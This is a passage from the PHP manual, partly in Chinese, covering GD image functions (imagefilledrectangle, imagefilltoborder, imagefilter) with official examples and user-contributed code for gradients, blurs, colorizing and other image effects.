//index.php
//set your year, month, daym hour, minute, second you want to cuuntdown to.

//ONLY CHANGE FROM HERE
$year="2006";
$month="12";
$day="25";
$hour="00";
$minute="00";
$second="00";
$event="Christmas Day 2006";

$time=mktime($hour, $minute, $second, $month, $day, $year);

$timecurrent=date('U');
$cdtime=$time-$timecurrent;
$cdmonths=$cddays/30;
$cdyears=$cddays/365;

//Used this case only...
$cdminutes=round($cdtime/60);
//cdtime is seconds
$cdhours=round($cdtime/3600);
$cddays=round($cdhours/24);

//String the date
$currentdate = date('l, F j, Y');
// Set the content-type
header("Content-type: image/png");

// Create the image
$im = imagecreatetruecolor(701, 355);

//Temp BGCOLOR (center of c-finder)
$bg1 = 208;
$bg2 = 130;
$bg3 = 208;

$s1 = $bg1 - 20;
$s2 = $bg2 - 20;
$s3 = $bg3 - 20;

$t1 = $bg1 + 30;
$t2 = $bg2 + 30;
$t3 = $bg3 + 30;

$cArray=array();
    $c1 = imagecolorallocate($im, $bg1, $bg2, $bg3); //Background
    $c8 = imagecolorallocate($im, 255, $bg2, 255); //Background
    $c2 = imagecolorallocate($im, $s1, $s2, $s3); //Shadow
    $c3 = imagecolorallocate($im, $t1, $t2, $t3); //Text

imagefilledrectangle($im, 0, 0, 701, 50, $c1);

imagefilledrectangle($im, 0, 0, 701, 50, $c8);

// The text to draw
$text = $string;
// Replace path by your own font path
$fnum = rand(1, 9);
$font = "/f/font ($fnum)";

// Add some shadow to the text
imagettftext($im, 29, 1, 17, 42, $c2, $font, "Today is:");
imagettftext($im, 28, -1, 15, 40, $c3, $font, "Today is:");
imagettftext($im, 29, 1, 17, 92, $c2, $font, "...$currentdate...");
imagettftext($im, 28, -1, 15, 90, $c3, $font, "...$currentdate...");
imagettftext($im, 29, 1, 17, 142, $c2, $font, "So there are exactly:");
imagettftext($im, 28, -1, 15, 140, $c3, $font, "So there are exactly:");
imagettftext($im, 29, 1, 17, 192, $c2, $font, "$cddays with just...");
imagettftext($im, 28, -1, 15, 190, $c3, $font, "$cddays days with just...");
imagettftext($im, 29, 1, 17, 242, $c2, $font, "$cdminutes minutes and only...");
imagettftext($im, 28, -1, 15, 240, $c3, $font, "$cdminutes minutes and only...");
imagettftext($im, 29, 1, 17, 292, $c2, $font, "$cdseconds seconds until...");
imagettftext($im, 28, -1, 15, 290, $c3, $font, "$cdseconds seconds until...");
imagettftext($im, 29, 1, 17, 342, $c2, $font, "- + $event + -");
imagettftext($im, 28, -1, 15, 340, $c3, $font, "- + $event + -");

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
info at 555webdesign dot com 25-Oct-2006 10:13
Thanks terereese. it took me over two hours to figure that one out.
it worked locally: imagefilledrectangle(imagresource, int x1, int x2, int y1, inty2, color)

BUT remote on my provider only this worked: imagefilledrectangle(imagresource, int x1, int y2, int x1, inty1, color)

Any ideas why and where?
terereese at hotmail dot com 11-Jul-2006 08:02
I would like to inform developers about a problem I encountered when trying to use imagefilledrectangle.

I noted that the order in which the start and end y coordinates are listed is extremely important.
as in the statements below.
if($this->d_values[$i]['unit_value'] < 0)
imagefilledrectangle($this->img,$position_x, $start_y , $end_x, $end_y ,$d_color);
else
imagefilledrectangle($this->img, $position_x,$ end_y , $end_x, $start_y,$d_colour);

Thanks
administrador(ensaimada)sphoera(punt)com 03-May-2006 03:33
I've made a function to make full color gradients:

<?php

// The image must be in truecolor mode!!
    function gradient_region($img, $x, $y, $width, $height,$src_color, $dest_color=0){
        $src_alpha = ($src_color) >> 24;
        $src_red = ($src_color & 0xFF0000) >> 16;
        $src_green = ($src_color & 0x00FF00) >> 8;
        $src_blue = ($src_color & 0x0000FF);

        $dest_alpha = ($dest_color) >> 24;
        $dest_red = ($dest_color & 0xFF0000) >> 16;
        $dest_green = ($dest_color & 0x00FF00) >> 8;
        $dest_blue = ($dest_color & 0x0000FF);

        $inc_alpha = ($dest_alpha - $src_alpha) / $width;
        $inc_red = ($dest_red - $src_red)/$width;
        $inc_green = ($dest_green - $src_green)/$width;
        $inc_blue = ($dest_blue - $src_blue)/$width;

        // If you need more performance, the step can be increased
        for ($i=0;$i<$width;$i++){
            $src_alpha += $inc_alpha;
            $src_blue += $inc_blue;
            $src_green += $inc_green;
            $src_red += $inc_red;
            imagefilledrectangle($img,
                $x+$i,$y,
                $x+$i,$y+$height,
                imagecolorallocatealpha($img,
                $src_red,$src_green,$src_blue,$src_alpha));
        }
    }
?>

More functions at http://www.sphoera.com
me [a.t.] forestfactory [d.o.t.] de 12-Oct-2005 04:44
As of PHP 5, it seems to be no longer necessary to draw the rectangle from the upper left to the lower right corner. This led me into big trouble porting a script developed under PHP 5 to PHP 4.
michal dot kocarek at seznam dot cz 30-May-2004 01:18
If you want to draw a rectangle with rounded corners, you can use this simple function...
Rectangle starts at x1y1 and ends at x2y2. $radius defines radius of circled corner.

<?

function ImageRectangleWithRoundedCorners(&$im, $x1, $y1, $x2, $y2, $radius, $color) {
// draw rectangle without corners
imagefilledrectangle($im, $x1+$radius, $y1, $x2-$radius, $y2, $color);
imagefilledrectangle($im, $x1, $y1+$radius, $x2, $y2-$radius, $color);
// draw circled corners
imagefilledellipse($im, $x1+$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x1+$radius, $y2-$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y2-$radius, $radius*2, $radius*2, $color);
}

?>
booga 17-Jan-2004 05:48
a simple way of using imagerectangle to create a percentage bar

<?php
//this needs to reside in its own php page
//you can include that php page in your html as you would an image:
//<IMG SRC="ratingpng.php?rating=25.2" border="0">

function drawRating($rating) {
    $image = imagecreate(102,10);
    $back = ImageColorAllocate($image,255,255,255);
    $border = ImageColorAllocate($image,0,0,0);
    $red = ImageColorAllocate($image,255,60,75);
    $fill = ImageColorAllocate($image,44,81,150);
    ImageFilledRectangle($image,0,0,101,9,$back);
    ImageFilledRectangle($image,1,1,$rating,9,$fill);
    ImageRectangle($image,0,0,101,9,$border);
    imagePNG($image);
    imagedestroy($image);
}

Header("Content-type: image/png");
drawRating($rating);

?>
ivank at 2xtreme dot net 30-Mar-2002 04:34
As stated above, it needs to go from the top left corner to the bottom right corner. Just use this to flip it if neccessary:

// flip them if neccessary (x3, y3 are temp vars)
if($x1 > $x2) { $x3 = $x2; $x2 = $x1; $x1 = $x3; }
if($y1 > $y2) { $y3 = $y2; $y2 = $y1; $y1 = $y3; }
ImageFilledRectangle($im, $x1, $y1, $x2, $y2, $color);
saramg at uclink dot berkeley dot edu 29-Nov-2001 07:42
Important quirk to note:

While imagerectangle will allow you to use a different order of your coordinates (such as bottom-left to upper-right), imagefilledrectangle will only work correctly if you use top-left to bottom-right as indicated in the docs.


漫水填充特定颜色

  • ? imagefilledrectangle
  • imagefilter ?
  • PHP Manual
  • GD 和图像处理 函数
  • 漫水填充特定颜色

imagefilltoborder

(PHP 4, PHP 5, PHP 7, PHP 8)

imagefilltoborder — 漫水填充特定颜色

说明

imagefilltoborder(
GdImage $image,
int $x,
int $y,
int $border_color,
int $color
): bool

imagefilltoborder() 执行漫水填充，其边框颜色由 border_color 定义。填充的起点是 x, y（左上角是0, 0），区域用颜色 color 填充。【注：边界内的所有颜色都会被填充。如果指定的边界色和该点颜色相同，则没有填充。如果图像中没有该边界色，则整幅图像都会被填充。】

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

x

起点的 x 坐标。

y

起点的 y 坐标。

border_color

边框颜色。颜色标识符使用 imagecolorallocate() 创建。

color

填充颜色。颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 用颜色填充椭圆

<?php
// Create the image handle, set the background to white
$im = imagecreatetruecolor(100, 100);
imagefilledrectangle($im, 0, 0, 100, 100, imagecolorallocate($im, 255, 255, 255));

// Draw an ellipse to fill with a black border
imageellipse($im, 50, 50, 50, 50, imagecolorallocate($im, 0, 0, 0));

// Set the border and fill colors
$border = imagecolorallocate($im, 0, 0, 0);
$fill = imagecolorallocate($im, 255, 0, 0);

// Fill the selection
imagefilltoborder($im, 50, 50, $border, $fill);

// Output and free memory
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

以上示例的输出类似于：

注释

算法不会明确记住已经设置哪些像素，而是从像素的颜色判断，所以无法区分新设置的元素和已经存在的元素。这意味着选择任何图像中已经使用的填充颜色都可能会产生不期望的结果。

User Contributed Notes

admin at worldlanguages dot tk 10-Sep-2004 02:54
In the example below, for those with newer GD versions, it makes more sense to replace:

imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);

with:

imageellipse($im, $center, $center, $diametre, $diametre, $el_color);

This is obviously simpler.
edrad at wanadoo dot fr 11-Jun-2003 05:02
Very useful to build a pseudo-sphere with a color gradient...

<?php
 $width = 300;
 $center = $width / 2;
 $colordivs = 255 / $center;
 $im = @imagecreate($width, $width);
 $back_color = imagecolorallocate($im, 20, 30, 40);
 imagefill($im, 0, 0, $back_color);
 for ($i = 0; $i <= $center; $i++)
 {
     $diametre = $width - 2 * $i;
    $el_color = imagecolorallocate($im, $i * $colordivs, 0, 0);
    imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);
    imagefilltoborder($im, $center, $center, $el_color, $el_color);
 }
 imagepng($im);
?>

Dark Skull Software
http://www.darkskull.net


对图像使用过滤器

  • ? imagefilltoborder
  • imageflip ?
  • PHP Manual
  • GD 和图像处理 函数
  • 对图像使用过滤器

imagefilter

(PHP 5, PHP 7, PHP 8)

imagefilter — 对图像使用过滤器

说明

imagefilter(GdImage $image, int $filter, array|int|float|bool ...$args): bool

imagefilter() 在 image 上应用指定的过滤器 filter。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

filter

filter 可以是下列中的一个：

  • IMG_FILTER_NEGATE：将图像中所有颜色反转。
  • IMG_FILTER_GRAYSCALE: Converts the image into grayscale by changing the red, green and blue components to their weighted sum using the same coefficients as the REC.601 luma (Y') calculation. The alpha components are retained. For palette images the result may differ due to palette limitations.
  • IMG_FILTER_BRIGHTNESS：更改图像的亮度。使用 args 设置亮度级别。亮度的范围是 -255 到 255。
  • IMG_FILTER_CONTRAST：更改图像的对比度。使用 args 设置对比度级别。
  • IMG_FILTER_COLORIZE：与 IMG_FILTER_GRAYSCALE 类似，区别是可以指定颜色。使用 args、arg2 和 arg3 以 red、green、blue 的形式和 arg4 用于 alpha 通道。每种颜色的范围是 0 到 255。
  • IMG_FILTER_EDGEDETECT：用边缘检测来突出图像的边缘。
  • IMG_FILTER_EMBOSS：使图像浮雕化。
  • IMG_FILTER_GAUSSIAN_BLUR：用高斯算法模糊图像。
  • IMG_FILTER_SELECTIVE_BLUR：模糊图像。
  • IMG_FILTER_MEAN_REMOVAL：用平均移除法来达到"轮廓"效果。
  • IMG_FILTER_SMOOTH：使图像更平滑。用 args 设定平滑级别。
  • IMG_FILTER_PIXELATE：对图像应用像素化效果，使用 args 设置块大小和 arg2 设置像素化效果模式。
  • IMG_FILTER_SCATTER：将散射效果应用于图像，使用 args 和 arg2 定义效果强度，另外使用 arg3 仅应用选定像素颜色。

args

  • IMG_FILTER_BRIGHTNESS：亮度级别。
  • IMG_FILTER_CONTRAST：对比度级别。
  • IMG_FILTER_COLORIZE: 红色成分的值。
  • IMG_FILTER_SMOOTH: Smoothness level.
  • IMG_FILTER_PIXELATE: Block size in pixels.
  • IMG_FILTER_SCATTER: Effect substraction level. This must not be higher or equal to the addition level set with arg2.

arg2

  • IMG_FILTER_COLORIZE: 绿色成分的值。
  • IMG_FILTER_PIXELATE：是否使用高级像素化效果（默认为 false）。
  • IMG_FILTER_SCATTER：效果添加级别。

arg3

  • IMG_FILTER_COLORIZE: 蓝色成分的值。
  • IMG_FILTER_SCATTER: Optional array indexed color values to apply effect at.

arg4

  • IMG_FILTER_COLORIZE: Alpha channel, A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
7.4.0 | 新增散射支持（IMG_FILTER_SCATTER）。

示例

Example #1 imagefilter() 灰度示例

<?php
$im = imagecreatefrompng('dave.png');

if($im && imagefilter($im, IMG_FILTER_GRAYSCALE))
{
echo 'Image converted to grayscale.';

imagepng($im, 'dave.png');
}
else
{
echo 'Conversion to grayscale failed.';
}

imagedestroy($im);
?>

Example #2 imagefilter() 亮度示例

<?php
$im = imagecreatefrompng('sean.png');

if($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20))
{
echo 'Image brightness changed.';

imagepng($im, 'sean.png');
imagedestroy($im);
}
else
{
echo 'Image brightness change failed.';
}
?>

Example #3 imagefilter() 着色示例

<?php
$im = imagecreatefrompng('philip.png');

/* R, G, B, so 0, 255, 0 is green */
if($im && imagefilter($im, IMG_FILTER_COLORIZE, 0, 255, 0))
{
echo 'Image successfully shaded green.';

imagepng($im, 'philip.png');
imagedestroy($im);
}
else
{
echo 'Green shading failed.';
}
?>

Example #4 imagefilter() 反例

<?php
// Define our negate function so its portable for
// php versions without imagefilter()
function negate($im)
{
if(function_exists('imagefilter'))
{
return imagefilter($im, IMG_FILTER_NEGATE);
}

for($x = 0; $x < imagesx($im); ++$x)
{
for($y = 0; $y < imagesy($im); ++$y)
{
$index = imagecolorat($im, $x, $y);
$rgb = imagecolorsforindex($index);
$color = imagecolorallocate($im, 255 - $rgb['red'], 255 - $rgb['green'], 255 - $rgb['blue']);

imagesetpixel($im, $x, $y, $color);
}
}

return(true);
}

$im = imagecreatefromjpeg('kalle.jpg');

if($im && negate($im))
{
echo 'Image successfully converted to negative colors.';

imagejpeg($im, 'kalle.jpg', 100);
imagedestroy($im);
}
else
{
echo 'Converting to negative colors failed.';
}
?>

Example #5 imagefilter() 像素化示例

<?php
// Load the PHP logo, we need to create two instances
// to show the differences
$logo1 = imagecreatefrompng('./php.png');
$logo2 = imagecreatefrompng('./php.png');

// Create the image instance we want to show the
// differences on
$output = imagecreatetruecolor(imagesx($logo1) * 2, imagesy($logo1));

// Apply pixelation to each instance, with a block
// size of 3
imagefilter($logo1, IMG_FILTER_PIXELATE, 3);
imagefilter($logo2, IMG_FILTER_PIXELATE, 3, true);

// Merge the differences onto the output image
imagecopy($output, $logo1, 0, 0, 0, 0, imagesx($logo1) - 1, imagesy($logo1) - 1);
imagecopy($output, $logo2, imagesx($logo2), 0, 0, 0, imagesx($logo2) - 1, imagesy($logo2) - 1);
imagedestroy($logo1);
imagedestroy($logo2);

// Output the differences
header('Content-Type: image/png');
imagepng($output);
imagedestroy($output);
?>

以上示例的输出类似于：

Example #6 imagefilter() 散射示例

<?php
// Load the image
$logo = imagecreatefrompng('./php.png');

// Apply a very soft scatter effect to the image
imagefilter($logo, IMG_FILTER_SCATTER, 3, 5);

// Output the image with the scatter effect
header('Content-Type: image/png');
imagepng($logo);
imagedestroy($logo);
?>

以上示例的输出类似于：

Output of example : imagefilter() scatter

注释

Note: IMG_FILTER_SCATTER 的结果始终随机。

参见

  • imageconvolution() - 用系数 div 和 offset 申请一个 3x3 的卷积矩阵

User Contributed Notes

shahilahmed4242 at gmail dot com 18-Mar-2016 10:39
PHP Sepia Effect

  $myImage = imagecreatefromjpeg($f);
  imagefilter($myImage,IMG_FILTER_GRAYSCALE);
  imagefilter($myImage,IMG_FILTER_BRIGHTNESS,-30);
  imagefilter($myImage,IMG_FILTER_COLORIZE, 90, 55, 30);
  header("Content-type: image/jpeg");
  imagejpeg($myImage );
  imagejpeg($myImage,$f);
  imagedestroy( $myImage );
martijn at martijnfrazer dot nl 01-Apr-2014 05:03
I needed an especially strong blur effect today and had a hard time achieving adequate results with the built-in IMG_FILTER_GAUSSIAN_BLUR filter. In order to achieve the strength of the blur I required I had to repeat the filter up to  100 times, which took way too long to be acceptable.

After a bit of searching, I found this answer to be quite a good solution to this problem: http://stackoverflow.com/a/20264482

Based on that technique, I wrote the following generic function to achieve a very strong blur in a reasonable amount of processing:

<?php

/**
 * Strong Blur
 *
 * @param resource $gdImageResource
 * @param int $blurFactor optional
 *  This is the strength of the blur
 *  0 = no blur, 3 = default, anything over 5 is extremely blurred
 * @return GD image resource
 * @author Martijn Frazer, idea based on http://stackoverflow.com/a/20264482
 */
function blur($gdImageResource, $blurFactor = 3)
{
  // blurFactor has to be an integer
  $blurFactor = round($blurFactor);

  $originalWidth = imagesx($gdImageResource);
  $originalHeight = imagesy($gdImageResource);

  $smallestWidth = ceil($originalWidth * pow(0.5, $blurFactor));
  $smallestHeight = ceil($originalHeight * pow(0.5, $blurFactor));

  // for the first run, the previous image is the original input
  $prevImage = $gdImageResource;
  $prevWidth = $originalWidth;
  $prevHeight = $originalHeight;

  // scale way down and gradually scale back up, blurring all the way
  for($i = 0; $i < $blurFactor; $i += 1)
  {
    // determine dimensions of next image
    $nextWidth = $smallestWidth * pow(2, $i);
    $nextHeight = $smallestHeight * pow(2, $i);

    // resize previous image to next size
    $nextImage = imagecreatetruecolor($nextWidth, $nextHeight);
    imagecopyresized($nextImage, $prevImage, 0, 0, 0, 0,
      $nextWidth, $nextHeight, $prevWidth, $prevHeight);

    // apply blur filter
    imagefilter($nextImage, IMG_FILTER_GAUSSIAN_BLUR);

    // now the new image becomes the previous image for the next step
    $prevImage = $nextImage;
    $prevWidth = $nextWidth;
      $prevHeight = $nextHeight;
  }

  // scale back to original size and blur one more time
  imagecopyresized($gdImageResource, $nextImage,
    0, 0, 0, 0, $originalWidth, $originalHeight, $nextWidth, $nextHeight);
  imagefilter($gdImageResource, IMG_FILTER_GAUSSIAN_BLUR);

  // clean up
  imagedestroy($prevImage);

  // return result
  return $gdImageResource;
}
?>
Manolo at msalsas dot com 01-Feb-2014 02:25
filtertype is an integer. So if you want to use it as a variable and need to use, e.g. preg_match function you can do it in this way:

<?php
    $filter = IMG_FILTER_BRIGHTNESS;
    if( preg_match( '/^[0-9]{1,2}$/', $filter ) )
    {
        //Do something
    }
?>

The order of the filtertypes in this manual determines the number of each filter, from 0 to 11. E.g. IMG_FILTER_NEGATE=0.
yoann at yoone dot eu 22-Aug-2013 02:04
Here is an alternative to IMG_FILTER_COLORIZE filter, but taking the alpha parameter of each pixel in account.

<?php
function rgba_colorize($img, $color)
{
    imagesavealpha($img, true);
    imagealphablending($img, true);

    $img_x = imagesx($img);
    $img_y = imagesy($img);
    for ($x = 0; $x < $img_x; ++$x)
    {
        for ($y = 0; $y < $img_y; ++$y)
        {
            $rgba = imagecolorsforindex($img, imagecolorat($img, $x, $y));
            $color_alpha = imagecolorallocatealpha($img, $color[0], $color[1], $color[2], $rgba['alpha']);
            imagesetpixel($img, $x, $y, $color_alpha);
            imagecolordeallocate($img, $color_alpha);
        }
    }
}
?>
Padde 08-Dec-2012 07:29
I played with IMG_FILTER_SMOOTH and tried some negative
values.

-1 to -7: looks like a mix of smoothness and edgedetect

-8: image seems to be completely broken

-9 and lower: kind of sharpening effect (-9 sharper than -10)

I think the sharpening effect in particular could be useful.
martijn(97+1) at gmail dot com (solve math) 17-Oct-2012 05:34
Simple pixelate function, just in case you are < 5.3

<?php
function pixelate(&$image, $pixelsize){
    $maxX = imagesx($image);
    $maxY = imagesy($image);
    $rad=floor($pixelsize/2);
    for($x=$rad;$x<$maxX;$x+=$pixelsize)
        for($y=$rad;$y<$maxY;$y+=$pixelsize){
            $color = imagecolorat($image, $x, $y);
            imagefilledrectangle ($image, $x-$rad, $y-$rad, $x+$pixelsize-1, $y+$pixelsize-1,$color);
        }
}
?>
cookie at backbone dot sk 23-Aug-2012 01:11
a function to create nice vignette effect:

<?php

function vignette($im){
    global $width, $height;
    $width = imagesx($im);
    $height = imagesy($im);

    function effect($x, $y, &$rgb){
        global $width, $height;

        $sharp = 0.4; // 0 - 10 small is sharpnes,
        $level = 0.7; // 0 - 1 small is brighter

        $l = sin(M_PI / $width * $x) * sin(M_PI / $height * $y);
        $l = pow($l, $sharp);

        $l = 1 - $level * (1 - $l);

        $rgb['red'] *= $l;
        $rgb['green'] *= $l;
        $rgb['blue'] *= $l;
    }

    for($x = 0; $x < imagesx($im); ++$x){
        for($y = 0; $y < imagesy($im); ++$y){
            $index = imagecolorat($im, $x, $y);
            $rgb = imagecolorsforindex($im, $index);
            effect($x, $y, $rgb);
            $color = imagecolorallocate($im, $rgb['red'], $rgb['green'], $rgb['blue']);

            imagesetpixel($im, $x, $y, $color);
        }
    }
    return(true);
}

$im = imagecreatefromjpeg('cars7_134.jpg');

if($im and vignette($im)){
    header('Content-Type: image/jpeg');
    imagejpeg($im);
    imagedestroy($im);
}else{
    echo 'Vignette failed.';
}
?>
mail at pedrocandeias dot com 29-Oct-2011 07:20
// With transparent PNG file you can colorize the "positive" items and stand the transparent has it is - Beta code

<?php
header('Content-Type: image/png');

$im = imagecreatefrompng('image.png');
$width = imagesx($im);
$height = imagesy($im);
$imn = imagecreatetruecolor($width, $height);
imagealphablending($imn,false);
$col=imagecolorallocatealpha($imn,255,255,255,127);
imagesavealpha($imn,true);
imagefilledrectangle($imn,0,0,$width,$height,$col);
imagealphablending($imn,true);
imagecopy($imn, $im, 0, 0, 0, 0, $width, $height);
imagefilter($imn, IMG_FILTER_NEGATE);

// FOR A TRANSPARENT PNG FILE WITH SOMETHING INSIDE, YOU CAN CHANGE THE COLOR HERE: I HAVE RGB: 0, 255, 0
imagefilter($imn, IMG_FILTER_COLORIZE, 0, 255, 0);

imagepng($imn);
imagedestroy($imn);

?>
hadrien dot jouet at grownseed dot net 21-Jun-2011 06:58
For people looking to apply a 'multiply' effect on images like the one in Photoshop (generally b&w ones), you can achieve it with the IMG_FILTER_COLORIZE filter.

<?php
function multiplyColor(&$im, $color = array(255, 0, 0))
{
   //get opposite color
   $opposite = array(255 - $color[0], 255 - $color[1], 255 - $color[2]);

   //now we subtract the opposite color from the image
   imagefilter($im, IMG_FILTER_COLORIZE, -$opposite[0], -$opposite[1], -$opposite[2]);
}
?>
bushmakin stas (bushstas at mail dot ru) 17-Mar-2011 12:26
a function to make all colors gray except the only one
i made it myself so the code is note so beautiful )

<?php
function imagecolorfilter($im){

    $height = imagesy($im);
    $width = imagesx($im);
    for($x=0; $x<$width; $x++){
        for($y=0; $y<$height; $y++){
            $rgb = ImageColorAt($im, $x, $y);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            $c=($r+$g+$b)/3;

//if($g<$r || $g<$b+20){$r=$c;$g=$c; $b=$c;}//leaves only green
//if($b<$r || $b<$g){$r=$c;$g=$c; $b=$c;}//only blue
if($r<$g+30 || $r<$b){$r=$c;$g=$c; $b=$c;}//only red
//if($r<$g-1 || $r>$g+60 || $b>$g-50){$r=$c;$g=$c; $b=$c;}//only yellow

imagesetpixel($im, $x, $y,imagecolorallocate($im, $r,$g,$b));
        }
    }
}

header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("image.jpg");
imagecolorfilter($im);
imagejpeg($im);
?>
jonathan dot gotti at gmail dot com 30-Nov-2010 06:38
IMG_FILTER_COLORIZE doesn't seem to work on palette image, here's a way to achieve same result with palette image:

<?php
//$color is an array containing rvb infos (ie: array(255,80,0))
function paletteColorize($imgResource,array $color){
    $nbColors = imagecolorstotal($imgResource);
    for($i=0; $i<$nbColors; $i++){
        $c = array_values(imagecolorsforindex($imgRes,$i));
        for($y=0;$y<3;$y++)
            $c[$y] = max(0,min(255,$c[$y]+$color[$y]));
        imagecolorset($imgResource,$i,$c[0],$c[1],$c[2]);
    }
}
?>

Here's also a function that work on both truecolor and palette images that try to do something similar to greyscale with a given color
<?php
function colorScale($imgRes,array $color){
        imagefilter($imgRes,IMG_FILTER_GRAYSCALE);
        $color = self::_read_color($color);
        $luminance=($color[0]+$color[1]+$color[2])/3; // average luminance added by the color
        $brightnessCorrection = $luminance/3; // quantity of brightness to correct for each channel
        if( $luminance < 127 ){
            $brightnessCorrection -= 127/3; // color is dark so we have to negate the brightness correction
        }
        if(! imageistruecolor($imgRes) ){
            $nbColors = imagecolorstotal($imgRes);
            for($i=0; $i<$nbColors; $i++){
                $c = array_values(imgagecolorsforindex($imgRes,$i));
                for($y=0;$y<3;$y++){
                    $c[$y] = max(0, min(255, $c[$y] + ($color[$y]-$luminance) + $brightnessCorrection) ); // parentheses just for better comprehension
                }
                imagecolorset($omgRes,$i,$c[0],$c[1],$c[2]);
            }
        }else{ // much easier with truecolor
            imagefilter($imgRes, IMG_FILTER_COLORIZE, $color[0]-$luminance, $color[1]-$luminance, $color[2]-$luminance);
            imagefilter($imgRes, IMG_FILTER_BRIGHTNESS, $brightnessCorrection);
        }
}
?>

with hope that someone will find this useful
mail at kavisiegel dot com 25-Jun-2009 11:11
Searching for a way to easily change the color of the image, I tried IMG_FILTER_COLORIZE. I was unable to get the quality results I wanted. It turns out PHP's Colorize is the equivalent of Photoshop's "Linear Dodge" layer filter.

Hue adjustments have always worked well for me, so I figured I could try with PHP.
This function is kind of slow on larger images, but on small images like what I'm using it for, the difference is trivial.

The script calculates the ratio or red, to green, to blue in the color provided, then scales the image appropriately... unfortunately, it does it pixel by pixel.

Here's a demo and comparison of this function, to photoshop's hue function, to PHP's colorize. http://img146.imageshack.us/img146/3167/imagefilterhuedemo.png

<?php
function imagefilterhue($im,$r,$g,$b){
    $rgb = $r+$g+$b;
    $col = array($r/$rgb,$b/$rgb,$g/$rgb);
    $height = imagesy($im);
    $width = imagesx($im);
    for($x=0; $x<$width; $x++){
        for($y=0; $y<$height; $y++){
            $rgb = ImageColorAt($im, $x, $y);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            $newR = $r*$col[0] + $g*$col[1] + $b*$col[2];
            $newG = $r*$col[2] + $g*$col[0] + $b*$col[1];
            $newB = $r*$col[1] + $g*$col[2] + $b*$col[0];
            imagesetpixel($im, $x, $y,imagecolorallocate($im, $newR, $newG, $newB));
        }
    }
}
header ("Content-type: image/jpeg");
$im = imagecreatefromjpeg("test.jpg");

// Usage: Just as imagefilter(), except with no filtertype.
// imagefilterhue(resource $image, int $red, int $green , int $blue)
imagefilterhue($im,2,70,188);

// The equivalent with colorize, as tested in demo image: imagefilter($im, IMG_FILTER_COLORIZE, 2, 70, 188);

imagejpeg($im);
?>
aiden dot mail at freemail dot hu 29-Mar-2008 12:16
Function to change the transparency of a png image on the fly. Works only with PNG, and with a browser supporting alpha channel.
The function stretches the opacity-range of the image, so that the most opaque pixel(s) will be set to the given opacity. (Other opacity values in pixels are modified accordingly.)
Returns success or failure.

<?php
function filter_opacity( &$img, $opacity ) //params: image resource id, opacity in percentage (eg. 80)
        {
            if( !isset( $opacity ) )
                { return false; }
            $opacity /= 100;

            //get image width and height
            $w = imagesx( $img );
            $h = imagesy( $img );

            //turn alpha blending off
            imagealphablending( $img, false );

            //find the most opaque pixel in the image (the one with the smallest alpha value)
            $minalpha = 127;
            for( $x = 0; $x < $w; $x++ )
                for( $y = 0; $y < $h; $y++ )
                    {
                        $alpha = ( imagecolorat( $img, $x, $y ) >> 24 ) & 0xFF;
                        if( $alpha < $minalpha )
                            { $minalpha = $alpha; }
                    }

            //loop through image pixels and modify alpha for each
            for( $x = 0; $x < $w; $x++ )
                {
                    for( $y = 0; $y < $h; $y++ )
                        {
                            //get current alpha value (represents the TANSPARENCY!)
                            $colorxy = imagecolorat( $img, $x, $y );
                            $alpha = ( $colorxy >> 24 ) & 0xFF;
                            //calculate new alpha
                            if( $minalpha !== 127 )
                                { $alpha = 127 + 127 * $opacity * ( $alpha - 127 ) / ( 127 - $minalpha ); }
                            else
                                { $alpha += 127 * $opacity; }
                            //get the color index with new alpha
                            $alphacolorxy = imagecolorallocatealpha( $img, ( $colorxy >> 16 ) & 0xFF, ( $colorxy >> 8 ) & 0xFF, $colorxy & 0xFF, $alpha );
                            //set pixel with the new color + opacity
                            if( !imagesetpixel( $img, $x, $y, $alphacolorxy ) )
                                { return false; }
                        }
                }
            return true;
        }
?>

Example for use:

 <?php
  $image = imagecreatefrompng( "img.png" );
  filter_opacity( $image, 75 );
  header( "content-type: image/png" );
  imagepng( $image );
  imagedestroy( $image );
?>
michaeln no at spam associationsplus ca 21-Nov-2007 08:11
Note: applying IMG_FILTER_EMBOSS to text and using in a customization to the CAPTCHA image script in phpBB or a project of your own is a very good way to stop OCR-ing bots from getting through. Embossed serif fonts are fairly easy for the human eye to understand but to an OCR script it is extremely difficult because it seems to give it the illusion of 3D.

If you only allocate 2 or 3 colours in the image, it uses the background colour alot in the embossed text, which greatly contributes to this.

I made my own custom CAPTCHA script to stop phpBB post spam for a client site I was developing and I have gone from getting 2-3 new spam users created every day to zero.

Anything with the source code freely available out there right now is possible to be defeated by spammers once one of them stars sharing code with the other spammers, but if you run something at least someone custom, their bots will pass you over.
ssttoo at gmail dot com 13-Nov-2007 12:31
Here's a page that shows the different filters in action
http://www.phpied.com/image-fun-with-php-part-2/
Also shows some quick ways to do sepia.
webmaster at designsbykosi dot info 08-May-2007 12:56
This will only work if you have php5. For php4, you'll have to use the sepia function set webmaster at qudi dot de suggested.
fananf at nerdshack dot com 16-Mar-2007 09:26
If you're looking for fast sepia effect that can be used for on-the-fly thumbnails generation you can't use sophisticated functions. The faster and much better way than described by webmaster at qudi dot de in the note from 31-Jan-2006 is applying colorize filter AFTER grayscale.

<?php

(...)

